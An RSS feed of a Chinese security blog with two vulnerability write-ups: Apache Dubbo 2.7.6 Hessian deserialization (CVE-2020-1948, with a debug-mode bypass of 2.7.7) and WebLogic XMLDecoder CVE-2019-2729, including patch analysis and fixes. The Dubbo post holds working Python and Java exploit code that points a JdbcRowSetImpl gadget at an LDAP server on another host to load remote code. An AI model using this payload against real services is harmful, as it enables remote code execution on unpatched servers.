<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Deserialization on 诗与胡说</title>
    <link>https://kylingit.com/tags/deserialization/index.xml</link>
    <description>Recent content in Deserialization on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/deserialization/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>Apache Dubbo 2.7.6 反序列化漏洞复现及分析</title>
      <link>https://kylingit.com/blog/apache-dubbo-2.7.6-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 01 Jul 2020 19:59:26 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/apache-dubbo-2.7.6-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Dubbo 从大的层面上讲是RPC框架，负责封装RPC调用，支持很多RPC协议&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/t01dd60f99ea19aec96.jpg&#34; alt=&#34;img&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;图片来源：&lt;a href=&#34;https://www.anquanke.com/post/id/209251&#34;&gt;https://www.anquanke.com/post/id/209251&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;克隆项目&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;git clone &lt;a href=&#34;https://github.com/apache/dubbo-spring-boot-project.git&#34;&gt;https://github.com/apache/dubbo-spring-boot-project.git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;git checkout 2.7.6&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;添加rome依赖&lt;/p&gt;

&lt;p&gt;dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;com.rometools&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;rome&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.7.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;启动服务端&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;复现&#34;&gt;复现&lt;/h2&gt;

&lt;h3 id=&#34;python版本&#34;&gt;python版本&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient(&#39;192.168.2.1&#39;, 12345)
 
JdbcRowSetImpl=new_object(
    &#39;com.sun.rowset.JdbcRowSetImpl&#39;,
    dataSource=&amp;quot;ldap://192.168.2.2:1389/nnyvbt&amp;quot;,
    strMatchColumns=[&amp;quot;foo&amp;quot;]
    )
JdbcRowSetImplClass=new_object(
    &#39;java.lang.Class&#39;,
    name=&amp;quot;com.sun.rowset.JdbcRowSetImpl&amp;quot;,
    )
toStringBean=new_object(
    &#39;com.rometools.rome.feed.impl.ToStringBean&#39;,
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name=&#39;any_name&#39;,
    method_name=&#39;any_method&#39;,
    args=[toStringBean])
    
print(resp)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;java版本&#34;&gt;java版本&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DemoService&lt;/code&gt;增加接口方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;String rceTest(Object o);
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DefaultDemoService&lt;/code&gt;实现接口方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Override
public String rceTest(Object o) {
    return &amp;quot;pwned&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DubboAutoConfigurationConsumerBootstrap&lt;/code&gt;客户端增加调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public ApplicationRunner runner() throws Exception {
    Object o = getPayload();
    return args -&amp;gt; logger.info(demoService.rceTest(o));
}
    
private static Object getPayload() throws Exception {
    String jndiUrl = &amp;quot;ldap://192.168.3.104:1389/sg56vh&amp;quot;;
    
    ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
    EqualsBean root = new EqualsBean(ToStringBean.class, bean);
    
    return JDKUtil.makeMap(root, root);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;运行provider服务者，再运行consumer消费者，触发漏洞&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;流量&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200629170736311.png&#34; alt=&#34;image-20200629170736311&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;0xdabb&lt;/code&gt;开头的为dubbo流量，提出后可以直接用socket发送触发漏洞&lt;/p&gt;

&lt;h2 id=&#34;分析&#34;&gt;分析&lt;/h2&gt;

&lt;h3 id=&#34;python版本触发点&#34;&gt;python版本触发点&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;python版本poc成功触发的关键点在于，通过构造一个不存在的&lt;code&gt;service_name&lt;/code&gt;使得服务端获取不到期望的DubboExporter进而抛出异常，而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法，所以能够通过构造的恶意对象的toString方法触发漏洞&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200630134254690.png&#34; alt=&#34;image-20200630134254690&#34; /&gt;&lt;/p&gt;

&lt;p&gt;那么关键点就在异常处理部分了，也正是rui0提出的“后反序列化漏洞”的利用场景，重点来看一下&lt;/p&gt;

&lt;p&gt;&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//dubbo 2.7.3
if (exporter == null) {
    throw new RemotiyicngException(channel, &amp;quot;Not found exported service: &amp;quot; + serviceKey + &amp;quot; in &amp;quot; + this.exporterMap.keySet() + &amp;quot;, may be version or group mismatch , channel: consumer: &amp;quot; + channel.getRemoteAddress() + &amp;quot; --&amp;gt; provider: &amp;quot; + channel.getLocalAddress() + &amp;quot;, message:&amp;quot; + inv);
} else {
    return exporter.getInvoker();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;dubbo 2.7.3版本中，抛出异常部分直接拼接了inv，此时inv为&lt;code&gt;DecodeableRpcInvocation&lt;/code&gt;对象，并且&lt;code&gt;arguments&lt;/code&gt;值为我们设置的&lt;code&gt;ToStringBean&lt;/code&gt;对象，在对其直接进行字符串拼接时会触发String.append-&amp;gt;String.valueOf-&amp;gt;obj.toString()，进而将&lt;code&gt;ToStringBean&lt;/code&gt;进行tostring触发漏洞&lt;/p&gt;

&lt;p&gt;而在2.7.5之后的版本中，throw RemotiyicngException部分变成了&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//dubbo 2.7.5
if (exporter == null) {
    throw new RemotingException(channel, &amp;quot;Not found exported service: &amp;quot; + serviceKey + &amp;quot; in &amp;quot; + this.exporterMap.keySet() + &amp;quot;, may be version or group mismatch , channel: consumer: &amp;quot; + channel.getRemoteAddress() + &amp;quot; --&amp;gt; provider: &amp;quot; + channel.getLocalAddress() + &amp;quot;, message:&amp;quot; + this.getInvocationWithoutData(inv));
} else {
    return exporter.getInvoker();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意到对inv经过了&lt;code&gt;getInvocationWithoutData&lt;/code&gt;处理，这个处理是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol
private Invocation getInvocationWithoutData(Invocation invocation) {
    if (this.logger.isDebugEnabled()) {
        return invocation;
    } else if (invocation instanceof RpcInvocation) {
        RpcInvocation rpcInvocation = (RpcInvocation)invocation;
        rpcInvocation.setArguments((Object[])null);
        return rpcInvocation;
    } else {
        return invocation;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到将invocation中的&lt;code&gt;arguments&lt;/code&gt;值处理成了空，经过这个处理之后后续的toString利用链就无法继续下去，起到了第一层防御效果，因此通过设置&lt;code&gt;arguments&lt;/code&gt;为恶意对象的方法就无法在2.7.5版本以上触发。&lt;/p&gt;

&lt;p&gt;相关commit可以在&lt;a href=&#34;https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346&#34;&gt;这里&lt;/a&gt;看到&lt;/p&gt;

&lt;h3 id=&#34;java版本触发点&#34;&gt;Java版本触发点&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()-&amp;gt;hash()-&amp;gt;hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞？&lt;/p&gt;

&lt;p&gt;除了上面的commit修复了异常处理中的toString外，官方还提交了一个&lt;a href=&#34;https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9#diff-97efdee63a15983753ec52d8cd03b6a7&#34;&gt;PR&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701113514058.png&#34; alt=&#34;image-20200701113514058&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()&lt;/code&gt;中增加了&lt;code&gt;RpcUtils.isGenericCall&lt;/code&gt;和&lt;code&gt;RpcUtils.isEcho&lt;/code&gt;的判断，在没有补丁之前，pts还能通过反射从desc中获取到，而打了补丁后，如果方法名不是&lt;code&gt;$invoke&lt;/code&gt;或&lt;code&gt;$invokeAsync&lt;/code&gt;或&lt;code&gt;$echo&lt;/code&gt;则直接抛出Service not found，因此当用python版本poc发送不存在的service_name或method_name时，便通不过判断，也就无法利用。&lt;/p&gt;

&lt;p&gt;上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的，那么如果我们传入正确的方法名和参数类型，该条件就不成立，也就不会进入&lt;code&gt;RpcUtils.isGenericCall&lt;/code&gt;和&lt;code&gt;RpcUtils.isEcho&lt;/code&gt;，从而绕过了对调用的方法名的判断&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701112440804.png&#34; alt=&#34;image-20200701112440804&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此我们重新实现一下客户端代码，调用正确的服务名和方法名，并传入构造的map对象，便能再次触发漏洞。&lt;/p&gt;

&lt;p&gt;触发条件：必须知道服务端的完整service name和方法名，同时该方法需要能接收map或object对象，客户端才能通过正确的服务名和方法名去调用，否则是无法触发的。&lt;/p&gt;

&lt;h3 id=&#34;2-7-7绕过&#34;&gt;2.7.7绕过&lt;/h3&gt;

&lt;p&gt;上面分析了CVE-2020-1948，看似补丁修复了漏洞，但之后又有讨论说在2.7.7上又存在绕过，下面也来分析一下&lt;/p&gt;

&lt;p&gt;还是看&lt;code&gt;getInvocationWithoutData&lt;/code&gt;方法，注意到在设置&lt;code&gt;arguments&lt;/code&gt;为空之前有这么两行代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;if (this.logger.isDebugEnabled()) {
    return invocation;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这就是说如果provider是以debug模式启动的，那么会直接返回&lt;code&gt;invocation&lt;/code&gt;对象。。。&lt;/p&gt;

&lt;p&gt;配置一下服务端启动的日志级别，然后修改python版本poc的&lt;code&gt;method_name&lt;/code&gt;为&lt;code&gt;$invoke&lt;/code&gt;，成功绕过2.7.7补丁（还需要注意服务名是否匹配和服务版本号的问题）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;configuration scan=&amp;quot;true&amp;quot;&amp;gt;
    &amp;lt;logger name=&amp;quot;com.alibaba.dubbo&amp;quot; level=&amp;quot;DEBUG&amp;quot;/&amp;gt;
&amp;lt;/configuration&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701191029066.png&#34; alt=&#34;image-20200701191029066&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;小结&#34;&gt;小结&lt;/h3&gt;

&lt;p&gt;上面两种触发方式是不一样的，一个是利用异常处理中存在设计不足，使得可以执行用户可控参数的toString方法，也即“后反序列化”利用思路，另一个是直接反序列化hessian2数据，期间对hashmap的操作进入toString，从调用栈上也能看出两者的区别。&lt;/p&gt;

&lt;h2 id=&#34;修复方式&#34;&gt;修复方式&lt;/h2&gt;

&lt;p&gt;按照&lt;a href=&#34;https://github.com/apache/dubbo/pull/6374&#34;&gt;dubbo/pull/6374&lt;/a&gt;建议的方法，给&lt;code&gt;ParameterTypesDesc&lt;/code&gt;加上校验，严格限制类型为&lt;code&gt;Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;&lt;/code&gt;，同时建议参考&lt;a href=&#34;https://github.com/sofastack/sofa-hessian&#34;&gt;sofa-hessian&lt;/a&gt;给反序列化加上黑名单&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701192122667.png&#34; alt=&#34;image-20200701192122667&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html&#34;&gt;https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://rui0.cn/archives/1338&#34;&gt;http://rui0.cn/archives/1338&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.anquanke.com/post/id/197658&#34;&gt;https://www.anquanke.com/post/id/197658&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/apache/dubbo/pull/6374&#34;&gt;https://github.com/apache/dubbo/pull/6374&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 19 Jun 2019 12:26:39 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;h3 id=&#34;漏洞分析&#34;&gt;漏洞分析&lt;/h3&gt;

&lt;p&gt;该漏洞是&lt;code&gt;CVE-2019-2725&lt;/code&gt;的绕过，因此前面的流程都是一样的，经过21个&lt;code&gt;handler&lt;/code&gt;处理，最终进入&lt;code&gt;WorkAreaHeader&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123830.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在4月份&lt;code&gt;oracle&lt;/code&gt;对2725紧急补丁中，过滤了&lt;code&gt;class&lt;/code&gt;元素，因此不能再通过&lt;code&gt;class&lt;/code&gt;创建对象&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123907.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这次的绕过实际上就是找到另外的元素代替&lt;code&gt;class&lt;/code&gt;进而绕过补丁。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;jdk7&lt;/code&gt;中解析&lt;code&gt;xml&lt;/code&gt;时获取&lt;code&gt;element&lt;/code&gt;元素的相关类为&lt;code&gt;com.sun.beans.decoder.DocumentHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;当传入&lt;code&gt;array&lt;/code&gt;标签，进入&lt;code&gt;ArrayElementHandler&lt;/code&gt;，为&lt;code&gt;array&lt;/code&gt;元素添加属性时，只能从&lt;code&gt;length&lt;/code&gt;，&lt;code&gt;class&lt;/code&gt;，&lt;code&gt;id&lt;/code&gt;中选择，唯一能创建类的&lt;code&gt;class&lt;/code&gt;已经加入了黑名单，所以在&lt;code&gt;jdk1.7&lt;/code&gt;下不受此漏洞影响，这次的绕过出现在低于&lt;code&gt;jdk1.7&lt;/code&gt;的&lt;code&gt;java&lt;/code&gt;版本上。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;weblogic 10.3.6.0&lt;/code&gt;自带的&lt;code&gt;jdk&lt;/code&gt;版本为1.6，&lt;code&gt;jdk1.6&lt;/code&gt;中解析xml时有很大的不同，相关处理方法在&lt;code&gt;com.sun.beans.ObjectHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;解析时首先进入的是&lt;code&gt;startElement&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;该方法首先获取元素的属性并创建一个&lt;code&gt;hashmap&lt;/code&gt;，当元素含有属性时，会根据属性值进行类/属性/方法的相关操作，当元素没有属性时，调用的是&lt;code&gt;new&lt;/code&gt;方法，例如解析&lt;code&gt;&amp;lt;java&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;void&amp;gt;&lt;/code&gt;时。而此时如果传入了&lt;code&gt;method&lt;/code&gt;值就会把方法名设置为该值。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123922.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后把方法名设置为我们传入的值，最终通过&lt;code&gt;forName&lt;/code&gt;找到指定的类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123941.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620123956.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后的流程就和2725一样的了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/20190620124052.png&#34; alt=&#34;1560635046339&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;WorkContextXmlInputAdapter:readUTF()&lt;/code&gt;后的调用栈&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124309.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;补丁分析&#34;&gt;补丁分析&lt;/h3&gt;

&lt;p&gt;6月19日，&lt;code&gt;Oralce&lt;/code&gt;官方放出了该漏洞的补丁，详情见&lt;a href=&#34;https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;分析一下补丁&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.validateFormat(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在原来&lt;code&gt;validate&lt;/code&gt;过滤的基础上又增加了一次&lt;code&gt;validateFormat&lt;/code&gt;过滤，过滤方法如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124924.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这回终于是采用了白名单方式，&lt;code&gt;allowedName&lt;/code&gt;如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124935.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code&gt;allowedName&lt;/code&gt;严格限制了可以使用的标签，并且也限制了标签可以拥有的属性，值得注意的是&lt;code&gt;allowedName&lt;/code&gt;不再允许&lt;code&gt;field&lt;/code&gt;标签了，emmm&amp;hellip;&lt;/p&gt;

&lt;h3 id=&#34;总结&#34;&gt;总结&lt;/h3&gt;

&lt;p&gt;这个漏洞是当时应急时简单分析的，后续有时间会详细整理一下。&lt;/p&gt;

&lt;p&gt;从整个&lt;code&gt;XMLDecoder&lt;/code&gt;反序列化漏洞的来看（CVE-2017-3506 -&amp;gt; CVE-2017-10271(10352) -&amp;gt; CVE-2019-2725 -&amp;gt; CVE-2019-2729），使用黑名单修补漏洞是不靠谱的，永远不知道下一次绕过是在什么时候，而这次的白名单修复方式会不会还存在缺陷呢？此处还得打一个问号。&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>